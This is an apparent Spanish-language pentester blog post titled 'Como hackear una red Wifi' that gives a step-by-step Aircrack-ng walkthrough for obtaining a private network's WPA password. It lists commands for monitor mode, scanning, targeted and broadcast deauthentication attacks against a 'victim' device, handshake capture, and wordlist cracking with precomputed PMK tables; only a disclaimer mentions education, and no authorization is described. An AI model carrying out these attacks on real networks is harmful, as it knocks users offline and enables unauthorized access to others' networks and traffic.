Rug4lo


Hacker • Red teamer • Pentester




Como hackear una red Wifi

wifi

Indice

Introduccion

Este post es un post hecho junto a Yoshy. Link directo a su pagina web —> https://llo0zy.github.io/

En este post te voy a contar sobre la herramienta Aircrack-ng, al igual que de algunas de las herramientas que vienen de esta misma suite, y como usar estas herramientas para conseguir la constraseña de una red privada.

Este post esta hecho con intencion educativa, no me hago responsable del uso que se pueda llegar a dar.

Aircrack-ng

Documentación oficial: https://www.aircrack-ng.org/doku.php

Aircrack-ng es una suite de software de seguridad inalámbrica. Consiste en un analizador de paquetes de redes, recupera contraseñas WEP y WPA/WPA2-PSK y otro conjunto de herramientas de auditoría inalámbrica.

Instalación

Estas son las dos principales formas de instalar la herramienta

Con el instalador de paquetes de Linux:

Debian

sudo apt install aircrack-ng

Fedora

sudo dnf install aircrack-ng

Arch

sudo pacman -Sy aircrack-ng

CentOS

sudo yum install epel-release
sudo yum install aircrack-ng

Desde el código fuente:

Para tener más información vease esta página: https://www.aircrack-ng.org/doku.php?id=install_aircrack

Linux / Windows

 wget https://download.aircrack-ng.org/aircrack-ng-1.7.tar.gz
 tar -zxvf aircrack-ng-1.7.tar.gz
 cd aircrack-ng-1.7
 autoreconf -i
 ./configure --with-experimental
 make
 make install
 ldconfig

Establecer el modo monitor

El modo monitor, en nuestra tarjeta de red, nos sirve para interceptar los paquetes que se mueven por la red y los puntos de acceso en el entorno

Para poner nuestra tarjeta de red en modo monitor podemos usar cualquiera de estos dos comandos

sudo airmon-ng start wlx3c52a1e258d8
sudo iwconfig wlx3c52a1e258d8 mode monitor

En caso de que haya funcionado correctamente veríamos algo parecido a esto:

wifi

Si queremos obtener más información sobre la tarjeta de red usaremos el comando iw:

sudo iw dev wlan0 info

wifi

Para parar el modo monitor primero tendríamos que usar este comando

sudo airmon-ng stop wlx3c52a1e258d8

Después tenemos que cerrar algunos procesos que pueden ser conflictivos, para pararlos usaremos este comando

sudo pkill dhclient && pkill wpa_supplicant
sudo killall dhclient wpa_supplicant
sudo airmon-ng check kill

Ahora tenemos que reiniciar el servicio de red

sudo /etc/init.d/networking restart

Análisis de la red

Usando airodump-ng

Para escanear los puntos de acceso disponibles en la red con Airodump (esta utilidad es de la suite de Aircrack)

sudo airodump-ng wlx3c52a1e258d8

wifi

Esta es una tabla del significado de cada apartado, columna del output que nos da el comando:

Field Descripción
BSSID Dirección MAC del punto de acceso.
PWR Nivel de señal. Su significado depende del driver que usemos, pero cuanto mayor sea el PWR más cerca estaremos del AP o del cliente. Si el PWR es -1, significa que el driver no soporta la detección del nivel de señal. Si el PWR es -1 para algunos clientes (stations) es porque los paquetes proceden del AP hacia el cliente pero las transmisiones del cliente se encuentran fuera del rango de cobertura de tu tarjeta. Lo que significa que solo escuchas la mitad de la comunicación. Si todos los clientes tienen PWR -1 significa que el driver no tiene la cpacidad de detectar el nivel de señal.
RXQ Calidad de recepción calculada a través del porcentaje de paquetes (management y paquetes de datos) recividos correctamente en los últimos 10 segundos. Mira la nota para una explicación más detallada.
Beacons Número de “paquetes anucio” o beacons enviadas por el AP. Cada punto de acceso envia alrededor de diez beacons por segundo cuando el rate o velocidad es de 1M, (la más baja) de tal forma que se pueden recibir desde muy lejos.
# Data Número de paquetes de datos capturados (si tiene clave WEP, equivale tambien al número de IVs), incluyendo paquetes de datos broadcast (dirigidos a todos los clientes).
#/s Número de paquetes de datos capturados por segundo calculando la media de los últimos 10 segundos.
CH Número de canal (obtenido de los “paquetes anuncio” o beacons). Nota: Algunas veces se capturan paquetes de otros canales, incluso si airodump-ng no está saltando de canal en canal, debido a interferencias o solapamientos en la señal.
MB Velocidad máxima soportada por el AP. Si MB = 11, es 802.11b, si MB = 22es 802.11b+ y velocidades mayores son 802.11g. El punto (despues del 54) indica que esa red soporta un preámbulo corto o “short preamble”.
ENC Algoritmo de encriptación que se usa. OPN = no existe encriptación (abierta),“WEP?” = WEP u otra (no se han capturado suficientes paquetes de datos para saber si es WEP o WPA/WPA2), WEP (sin el interrogante) indica WEP estática o dinámica, y WPA o WPA2 en el caso de que se use TKIP o CCMP.
CIPHER Detector cipher. Puede ser CCMP, WRAP, TKIP, WEP, WEP40, o WEP104.
AUTH El protocolo de autenticación usado. Puede ser MGT, PSK (clave precompartida), o OPN (abierta).
ESSID Tambien llamado “SSID”, que puede estar en blanco si la ocultación del SSID está activada en el AP. En este caso, airodump-ng intentará averiguar el SSID analizando paquetes “probe responses” y “association requests” (son paquetes enviados desde un cliente al AP).
STATION Dirección MAC de cada cliente asociado. En la captura de pantalla, vemos que se han detectado dos clientes (00:09:5B:EB:C5:2B y 00:02:2D:C1:5D:1F).
Lost El número de paquetes perdidos en los últimos 10 segundos.
Packets El número de paquetes de datos enviados por el cliente.
Probes Los ESSIDs a los cuales ha intentado conectarse el cliente.

Con esta herramienta podemos filtrar la información, para quedarnos solo con lo que nos interesa

Esta seria la manera de filtrar por el canal

sudo airodump-ng -c 6 wlx3c52a1e258d8

Así filtraríamos por el ESSID

sudo airodump-ng --essid vodafoneBA7676 wlx3c52a1e258d8

Y lo mismo por el BSSID

sudo airodump-ng --bssid CA:D9:D2:E8:20:49 wlx3c52a1e258d8

Para guardar la información obtenida en la captura de paquetes de red, usaremos el parámetro -w:

sudo airodump-ng -w lol wlan0

Esto nos creara 5 formatos de archivos: .cap, .csv, .kismet.csv, .kismet.netxml, .log.csv

wifi

Usando airgraph-ng

Con esta herramienta podemos poner en grafico toda la información que hemos obtenido de la red

wifi

Para esto necesitaremos el archivo .csv y ejecutar la siguiente linea de comando:

  • Client to Access point Relationship Graph -> -g CAPR
  • Client to Probe Request Graph -> -g CPG
airgraph-ng -i capture-01.csv -o demo.png -g CAPR

Algo que nos resalta es el color verde que tenemos en la captura, podemos tener uno o varios routers en la captura, y tendran diversos colores, aquí el listado con sus características:

  • Verde -> Redes WAP
  • Amarillo -> Redes WEP
  • Rojo -> Redes OPN
  • Negro -> Redes no reconocidas

Deautenticacion

Ahora que tenemos claro todos los equipos y puntos de acceso de la red, vamos a intentar sacar la contraseña de uno de ellos, para esto vamos a identificar la red que queremos vulnerar.

Una vez que sepamos la red vamos a identificar los equipos que están conectados a la misma

Ahora el proceso que vamos a hacer es, expulsar a ese equipo de la red, para que cuando este se reconecte otra vez a su red (de forma automática) captaremos el handshake de la conexión, para posteriormente romperlo con fuerza bruta y obtener la contraseña

Para expulsar al equipo de su red haremos un ataque de deautenticacion, podemos hacerlos de dos formas:

Ataque de deautenticación dirigido

Primero tenemos que analizar nuestra red, en busca de una posible victima

sudo airodump-ng --bssid 60:8D:26:F2:E6:C4 wlx3c52a1e258d8

Después con el anterior comando en segundo plano haremos la deautenticacion

  • El -a es la MAC del punto de acceso
  • El -e es el essid del punto de acceso
  • El -c es la MAC de el equipo victima
aireplay-ng -0 0 -a 60:8D:26:F2:E6:C4 -e Livebox6-E6C5 -c 22:B2:62:79:21:0F wlx3c52a1e258d8

Ataque de deautenticación global

Primero hacemos lo mismo que antes, y analizamos la red

sudo airodump-ng -c 6 --bssid 60:8D:26:F2:E6:C4 wlx3c52a1e258d8

Ahora podemos hacer un ataque de deautenticacion a toda la red, para esto usaremos este comando

aireplay-ng -0 0 -a 60:8D:26:F2:E6:C4 -e Livebox6-E6C5 -c FF:FF:FF:FF:FF:FF wlx3c52a1e258d8

Captura del handshake

Una vez que hemos efectuado correctamente el ataque de deautenticacion, lo verificaremos con el mensaje que nos dará Airodump-ng en la captura de red

wifi

Ahora que hemos comprobado que tenemos el handshake, podemos parar la captura, y hacer uso del archivo .cap que nos creara si hemos puesto el parámetro -w

wifi

Cracking del hash

De normal los atacantes suelen usar el comando aircrack-ng para hacer ataques de prueba y error (bruteforcing) al handshake, para ello usamos el comando:

sudo aircrack-ng -n lol.pcap -w wordlist.lst

Donde -n son los paquetes de red donde se encuentra el handshake, y -w el listado de contraseñas.

El problema llega cuando hay por pobrar 10 millones de contraseñas, que podría llegar a tardar más de una semana probando. Pero aquí os traigo la solución conocida como las rainbow tables que es convertir todas esas contraseñas en hashes para que la lectura y escritura de estos sea más rápida, así optimizando lo máximo posible el crackeo del hash.

Aquí una pequeña guía…

Para usar la herramienta tenemos que crear un archivo con el nombre de la ESSID:

echo tplink > essid.txt

Y después crear una base de datos con airolib-ng:

airolib-ng tplink.sqlite --import essid essid.txt

wifi

Con el comando: airolib-ng tplink.sqlite –stats podemos ver información sobre la base de datos:

There are 1 ESSIDs and 0 passwords in the database. 0 out of 0 possible combinations have been computed (0%).

ESSID	Priority	Done
TP-Link_73A8	64	(null)

Ahora meteremos las posibles contraseñas en nuestra base de datos con:

airolib-ng tplink.sqlite --import passwd ./dict.lst

wifi

Ahora vamos a crear el resultado de la combinación entre la contraseña y el essid para ello usaremos el parametro –batch:

$ airolib-ng tplink.sqlite --batch

Batch processing ...
Computed 5000 PMK in 11 seconds (454 PMK/s, 121985 in buffer)

Luego se usa en aircrack-ng con el parametro: -n

Gracias por leer este post hasta el final, espero que hayas aprendido algo nuevo ;)



Recent

FLAWS - Hacking en la nube

Explicando paso por paso como completar todos los niveles de la pagina Flaws

Blog
Recent

Proximamente...